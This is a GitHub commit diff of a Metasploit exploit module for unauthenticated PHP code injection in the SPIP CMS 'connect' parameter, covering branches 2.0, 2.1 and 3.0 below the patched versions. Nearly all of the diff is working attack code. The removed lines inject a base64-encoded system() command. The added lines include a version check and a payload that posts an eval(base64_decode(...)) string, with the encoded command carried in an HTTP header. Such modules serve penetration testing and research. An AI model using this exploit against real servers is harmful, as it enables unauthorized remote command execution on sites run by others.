Skip to content

Commit 3a8856a

Browse files
author
jvazquez-r7
committed
Apply review to spip_connect_exec
1 parent bc44d42 commit 3a8856a

File tree

1 file changed

+58
-55
lines changed

1 file changed

+58
-55
lines changed

modules/exploits/unix/webapp/spip_connect_exec.rb

Lines changed: 58 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -6,45 +6,38 @@
66
##
77

88
require 'msf/core'
9-
require 'base64'
109

1110
class Metasploit3 < Msf::Exploit::Remote
1211

1312
include Msf::Exploit::Remote::HttpClient
1413

1514
def initialize(info = {})
1615
super(update_info(info,
17-
'Name' => 'SPIP Connect Parameter Injection',
16+
'Name' => 'SPIP connect Parameter PHP Injection',
1817
'Description' => %q{
19-
This module exploits a PHP code injection in SPIP. The vulnerability
20-
exists in the connect parameter and allows an unauthenticated user
21-
to execute arbitrary commands with web user privileges. Branchs 2.0/2.1/3 are concerned.
22-
Vulnerable versions are < 2.0.21 & < 2.1.16 & < 3.0.3.
23-
The module has been tested successfully with SPIP 2.0.11/Apache on Ubuntu and Fedora.
18+
This module exploits a PHP code injection in SPIP. The vulnerability exists in the
19+
connect parameter and allows an unauthenticated user to execute arbitrary commands
20+
with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions
21+
are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and
22+
has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu
23+
and Fedora linux distributions.
2424
},
25-
'Author' =>
25+
'Author' =>
2626
[
2727
'Arnaud Pachot', #Initial discovery
2828
'Davy Douhine and Frederic Cikala', #PoC
2929
'Davy Douhine', #MSF module
3030
],
31-
'License' => MSF_LICENSE,
32-
'References' =>
31+
'License' => MSF_LICENSE,
32+
'References' =>
3333
[
34+
[ 'OSVDB', '83543' ],
3435
[ 'BID', '54292' ],
3536
[ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ]
3637
],
37-
'Platform' => ['unix'],
38-
'Arch' => ARCH_CMD,
39-
'Payload' =>
40-
{
41-
'Space' => 1024,
42-
'DisableNops' => true,
43-
'Compat' =>
44-
{
45-
'PayloadType' => 'cmd',
46-
}
47-
},
38+
'Privileged' => false,
39+
'Platform' => ['php'],
40+
'Arch' => ARCH_PHP,
4841
'Targets' =>
4942
[
5043
[ 'Automatic', { } ]
@@ -58,42 +51,52 @@ def initialize(info = {})
5851
], self.class)
5952
end
6053

61-
def exploit
62-
uri = normalize_uri(target_uri.path, 'spip.php')
63-
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
64-
65-
# Very dirty trick !
66-
# The SPIP server answers an HTML page which contains the ouput of the executed command on target.
67-
# To easily extract the command output a header and a trailer are used.
68-
# Then the whole thing (header + CMD + trailer) is base64 encoded to avoid spaces/special char filtering
69-
# The header and the trailer will then be used to display the result (print_status)
70-
# Rex::Text.encode_base64() instead?
71-
cmd64 = Rex::Text.encode_base64("echo \"-123-\";#{datastore['CMD']}\;echo \"-456-\";")
72-
73-
# Another dirty trick !
74-
# A character is added in the trailer to make the cmd64 string longer and avoid SPIP "=" filtering.
75-
if cmd64.include?("=")
76-
cmd64 = Rex::Text.encode_base64("echo \"-123-\";#{datastore['CMD']}\;echo \"-456--\";")
54+
def check
55+
version = nil
56+
uri = normalize_uri(target_uri.path, "spip.php")
57+
58+
res = send_request_cgi({ 'uri' => "#{uri}" })
59+
60+
if res and res.code == 200 and res.body =~ /<meta name="generator" content="SPIP (.*) \[/
61+
version = $1
62+
end
63+
64+
if version.nil? and res.code == 200 and res.headers["Composed-By"] =~ /SPIP (.*) @/
65+
version = $1
66+
end
67+
68+
if version.nil?
69+
return Exploit::CheckCode::Unknown
7770
end
7871

79-
# The (trivial) vuln
80-
data_cmd = "connect=?><? system(base64_decode(#{cmd64}))?>"
81-
82-
begin
83-
print_status("Attempting to connect to #{rhost}:#{rport}")
84-
res = send_request_cgi(
85-
{
86-
'uri' => uri,
87-
'method' => 'POST',
88-
'data' => data_cmd
89-
})
90-
if (res)
91-
# Extracting the output of the executed command (using the dirty trick)
92-
result = res.body.to_s.split("-123-").last.to_s.split("-456-").first
93-
print_status("Output: #{result}")
94-
end
72+
vprint_status("SPIP Version detected: #{version}")
73+
74+
if version =~ /^2\.0/ and version < "2.0.21"
75+
return Exploit::CheckCode::Vulnerable
76+
elsif version =~ /^2\.1/ and version < "2.1.16"
77+
return Exploit::CheckCode::Appears
78+
elsif version =~ /^3\.0/ and version < "3.0.3"
79+
return Exploit::CheckCode::Appears
9580
end
96-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
97-
rescue ::Timeout::Error, ::Errno::EPIPE
81+
82+
return Exploit::CheckCode::Safe
83+
9884
end
85+
86+
def exploit
87+
uri = normalize_uri(target_uri.path, 'spip.php')
88+
print_status("#{rhost}:#{rport} - Attempting to exploit...")
89+
res = send_request_cgi(
90+
{
91+
'uri' => uri,
92+
'method' => 'POST',
93+
'vars_post' => {
94+
'connect' => "?><? eval(base64_decode($_SERVER[HTTP_CMD])); ?>",
95+
},
96+
'headers' => {
97+
'Cmd' => Rex::Text.encode_base64(payload.encoded)
98+
}
99+
})
100+
end
101+
99102
end

0 commit comments

Comments
 (0)